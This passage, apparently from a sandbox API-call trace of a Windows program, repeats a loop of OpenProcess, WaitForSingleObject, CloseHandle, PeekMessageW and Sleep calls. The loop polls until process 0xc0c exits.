dwProcessId=0xc0c) returned 0x5764 [0318.357] WaitForSingleObject (hHandle=0x5764, dwMilliseconds=0xa) returned 0x102 [0318.373] CloseHandle (hObject=0x5764) returned 1 [0318.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.373] Sleep (dwMilliseconds=0x1) [0318.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5764 [0318.388] WaitForSingleObject (hHandle=0x5764, dwMilliseconds=0xa) returned 0x102 [0318.404] CloseHandle (hObject=0x5764) returned 1 [0318.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.405] Sleep (dwMilliseconds=0x1) [0318.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5764 [0318.420] WaitForSingleObject (hHandle=0x5764, dwMilliseconds=0xa) returned 0x102 [0318.435] CloseHandle (hObject=0x5764) returned 1 [0318.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.435] Sleep (dwMilliseconds=0x1) [0318.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5778 [0318.451] WaitForSingleObject (hHandle=0x5778, dwMilliseconds=0xa) returned 0x102 [0318.467] CloseHandle (hObject=0x5778) returned 1 [0318.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.467] Sleep (dwMilliseconds=0x1) [0318.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5778 [0318.482] WaitForSingleObject (hHandle=0x5778, dwMilliseconds=0xa) returned 0x102 [0318.498] CloseHandle (hObject=0x5778) returned 1 [0318.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.498] Sleep (dwMilliseconds=0x1) [0318.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5778 [0318.513] WaitForSingleObject (hHandle=0x5778, dwMilliseconds=0xa) returned 0x102 [0318.530] CloseHandle (hObject=0x5778) returned 1 [0318.530] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.530] Sleep (dwMilliseconds=0x1) [0318.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5778 [0318.545] WaitForSingleObject (hHandle=0x5778, dwMilliseconds=0xa) returned 0x102 [0318.560] CloseHandle (hObject=0x5778) returned 1 [0318.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.560] Sleep (dwMilliseconds=0x1) [0318.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5778 [0318.576] WaitForSingleObject (hHandle=0x5778, dwMilliseconds=0xa) returned 0x102 [0318.592] CloseHandle (hObject=0x5778) returned 1 [0318.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.592] Sleep (dwMilliseconds=0x1) [0318.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x579c [0318.607] WaitForSingleObject (hHandle=0x579c, dwMilliseconds=0xa) returned 0x102 [0318.623] CloseHandle (hObject=0x579c) returned 1 [0318.623] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.623] Sleep (dwMilliseconds=0x1) [0318.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x579c [0318.638] WaitForSingleObject (hHandle=0x579c, dwMilliseconds=0xa) returned 0x102 [0318.654] CloseHandle (hObject=0x579c) returned 1 [0318.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.654] Sleep (dwMilliseconds=0x1) [0318.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x579c [0318.670] WaitForSingleObject (hHandle=0x579c, dwMilliseconds=0xa) returned 0x102 [0318.685] CloseHandle (hObject=0x579c) returned 1 [0318.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.685] Sleep (dwMilliseconds=0x1) [0318.703] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57c8 [0318.703] WaitForSingleObject (hHandle=0x57c8, dwMilliseconds=0xa) returned 0x102 [0318.716] CloseHandle (hObject=0x57c8) returned 1 [0318.716] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.716] Sleep (dwMilliseconds=0x1) [0318.732] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57d8 [0318.732] WaitForSingleObject (hHandle=0x57d8, dwMilliseconds=0xa) returned 0x102 [0318.748] CloseHandle (hObject=0x57d8) returned 1 [0318.748] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.748] Sleep (dwMilliseconds=0x1) [0318.763] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57d8 [0318.763] WaitForSingleObject (hHandle=0x57d8, dwMilliseconds=0xa) returned 0x102 [0318.779] CloseHandle (hObject=0x57d8) returned 1 [0318.779] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.779] Sleep (dwMilliseconds=0x1) [0318.794] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57d8 [0318.795] WaitForSingleObject (hHandle=0x57d8, dwMilliseconds=0xa) returned 0x102 [0318.810] CloseHandle (hObject=0x57d8) returned 1 [0318.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.810] Sleep (dwMilliseconds=0x1) [0318.827] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x57f4 [0318.827] WaitForSingleObject (hHandle=0x57f4, dwMilliseconds=0xa) returned 0x102 [0318.841] CloseHandle (hObject=0x57f4) returned 1 [0318.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.841] Sleep (dwMilliseconds=0x1) [0318.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5818 [0318.861] WaitForSingleObject (hHandle=0x5818, dwMilliseconds=0xa) returned 0x102 [0318.873] CloseHandle (hObject=0x5818) returned 1 [0318.873] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.873] Sleep (dwMilliseconds=0x1) [0318.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0318.888] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0318.907] CloseHandle (hObject=0x582c) returned 1 [0318.907] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.907] Sleep (dwMilliseconds=0x1) [0318.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0318.920] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0318.935] CloseHandle (hObject=0x582c) returned 1 [0318.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.935] Sleep (dwMilliseconds=0x1) [0318.951] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0318.951] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0318.966] CloseHandle (hObject=0x582c) returned 1 [0318.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.967] Sleep (dwMilliseconds=0x1) [0318.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0318.982] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0318.998] CloseHandle (hObject=0x582c) returned 1 [0318.998] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0318.998] Sleep (dwMilliseconds=0x1) [0319.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0319.027] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0319.029] CloseHandle (hObject=0x582c) returned 1 [0319.029] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.029] Sleep (dwMilliseconds=0x1) [0319.045] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0319.045] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0319.066] CloseHandle (hObject=0x582c) returned 1 [0319.066] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.066] Sleep (dwMilliseconds=0x1) [0319.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x582c [0319.076] WaitForSingleObject (hHandle=0x582c, dwMilliseconds=0xa) returned 0x102 [0319.091] CloseHandle (hObject=0x582c) returned 1 [0319.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.091] Sleep (dwMilliseconds=0x1) [0319.109] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5850 [0319.110] WaitForSingleObject (hHandle=0x5850, dwMilliseconds=0xa) returned 0x102 [0319.123] CloseHandle (hObject=0x5850) returned 1 [0319.123] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.123] Sleep (dwMilliseconds=0x1) [0319.139] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5850 [0319.139] WaitForSingleObject (hHandle=0x5850, dwMilliseconds=0xa) returned 0x102 [0319.154] CloseHandle (hObject=0x5850) returned 1 [0319.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.154] Sleep (dwMilliseconds=0x1) [0319.175] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5868 [0319.175] WaitForSingleObject (hHandle=0x5868, dwMilliseconds=0xa) returned 0x102 [0319.185] CloseHandle (hObject=0x5868) returned 1 [0319.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.185] Sleep (dwMilliseconds=0x1) [0319.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.201] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.217] CloseHandle (hObject=0x586c) returned 1 [0319.217] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.217] Sleep (dwMilliseconds=0x1) [0319.232] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.232] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.248] CloseHandle (hObject=0x586c) returned 1 [0319.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.248] Sleep (dwMilliseconds=0x1) [0319.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.263] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.279] CloseHandle (hObject=0x586c) returned 1 [0319.279] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.279] Sleep (dwMilliseconds=0x1) [0319.295] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.295] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.310] CloseHandle (hObject=0x586c) returned 1 [0319.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.310] Sleep (dwMilliseconds=0x1) [0319.326] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.326] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.341] CloseHandle (hObject=0x586c) returned 1 [0319.341] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.341] Sleep (dwMilliseconds=0x1) [0319.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.357] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.373] CloseHandle (hObject=0x586c) returned 1 [0319.373] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.373] Sleep (dwMilliseconds=0x1) [0319.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.388] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.404] CloseHandle (hObject=0x586c) returned 1 [0319.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.404] Sleep (dwMilliseconds=0x1) [0319.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x586c [0319.420] WaitForSingleObject (hHandle=0x586c, dwMilliseconds=0xa) returned 0x102 [0319.435] CloseHandle (hObject=0x586c) returned 1 [0319.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.435] Sleep (dwMilliseconds=0x1) [0319.452] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x58a8 [0319.452] WaitForSingleObject (hHandle=0x58a8, dwMilliseconds=0xa) returned 0x102 [0319.467] CloseHandle (hObject=0x58a8) returned 1 [0319.467] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.467] Sleep (dwMilliseconds=0x1) [0319.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x58a8 [0319.482] WaitForSingleObject (hHandle=0x58a8, dwMilliseconds=0xa) returned 0x102 [0319.498] CloseHandle (hObject=0x58a8) returned 1 [0319.498] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.498] Sleep (dwMilliseconds=0x1) [0319.513] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x58a8 [0319.513] WaitForSingleObject (hHandle=0x58a8, dwMilliseconds=0xa) returned 0x102 [0319.531] CloseHandle (hObject=0x58a8) returned 1 [0319.531] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.531] Sleep (dwMilliseconds=0x1) [0319.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x58a8 [0319.545] WaitForSingleObject (hHandle=0x58a8, dwMilliseconds=0xa) returned 0x102 [0319.560] CloseHandle (hObject=0x58a8) returned 1 [0319.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.560] Sleep (dwMilliseconds=0x1) [0319.576] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x58a8 [0319.576] WaitForSingleObject (hHandle=0x58a8, dwMilliseconds=0xa) returned 0x102 [0319.591] CloseHandle (hObject=0x58a8) returned 1 [0319.591] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.591] Sleep (dwMilliseconds=0x1) [0319.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x58a8 [0319.607] WaitForSingleObject (hHandle=0x58a8, dwMilliseconds=0xa) returned 0x102 [0319.626] CloseHandle (hObject=0x58a8) returned 1 [0319.626] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.626] Sleep (dwMilliseconds=0x1) [0319.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5904 [0319.638] WaitForSingleObject (hHandle=0x5904, dwMilliseconds=0xa) returned 0x102 [0319.654] CloseHandle (hObject=0x5904) returned 1 [0319.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.654] Sleep (dwMilliseconds=0x1) [0319.670] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5904 [0319.670] WaitForSingleObject (hHandle=0x5904, dwMilliseconds=0xa) returned 0x102 [0319.680] CloseHandle (hObject=0x5904) returned 1 [0319.680] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.680] Sleep (dwMilliseconds=0x1) [0319.681] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5904 [0319.681] WaitForSingleObject (hHandle=0x5904, dwMilliseconds=0xa) returned 0x102 [0319.704] CloseHandle (hObject=0x5904) returned 1 [0319.704] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.704] Sleep (dwMilliseconds=0x1) [0319.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5920 [0319.716] WaitForSingleObject (hHandle=0x5920, dwMilliseconds=0xa) returned 0x102 [0319.733] CloseHandle (hObject=0x5920) returned 1 [0319.733] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.733] Sleep (dwMilliseconds=0x1) [0319.748] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.748] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.763] CloseHandle (hObject=0x5940) returned 1 [0319.763] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.763] Sleep (dwMilliseconds=0x1) [0319.779] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.779] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.794] CloseHandle (hObject=0x5940) returned 1 [0319.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.794] Sleep (dwMilliseconds=0x1) [0319.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.810] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.826] CloseHandle (hObject=0x5940) returned 1 [0319.826] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.826] Sleep (dwMilliseconds=0x1) [0319.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.841] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.857] CloseHandle (hObject=0x5940) returned 1 [0319.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.857] Sleep (dwMilliseconds=0x1) [0319.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.872] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.888] CloseHandle (hObject=0x5940) returned 1 [0319.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.888] Sleep (dwMilliseconds=0x1) [0319.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.904] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.919] CloseHandle (hObject=0x5940) returned 1 [0319.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.919] Sleep (dwMilliseconds=0x1) [0319.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x5940 [0319.935] WaitForSingleObject (hHandle=0x5940, dwMilliseconds=0xa) returned 0x102 [0319.951] CloseHandle (hObject=0x5940) returned 1 [0319.951] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.951] Sleep (dwMilliseconds=0x1) [0319.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0319.966] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0319.982] CloseHandle (hObject=0x597c) returned 1 [0319.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0319.982] Sleep (dwMilliseconds=0x1) [0319.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0319.997] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.028] CloseHandle (hObject=0x597c) returned 1 [0320.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.028] Sleep (dwMilliseconds=0x1) [0320.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.045] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.065] CloseHandle (hObject=0x597c) returned 1 [0320.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.066] Sleep (dwMilliseconds=0x1) [0320.076] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.076] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.091] CloseHandle (hObject=0x597c) returned 1 [0320.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.091] Sleep (dwMilliseconds=0x1) [0320.107] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.107] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.122] CloseHandle (hObject=0x597c) returned 1 [0320.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.123] Sleep (dwMilliseconds=0x1) [0320.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.138] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.154] CloseHandle (hObject=0x597c) returned 1 [0320.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0320.154] Sleep (dwMilliseconds=0x1) [0320.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x597c [0320.169] WaitForSingleObject (hHandle=0x597c, dwMilliseconds=0xa) returned 0x102 [0320.185] CloseHandle (hObject=0x597c) returned 1 [0320.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, 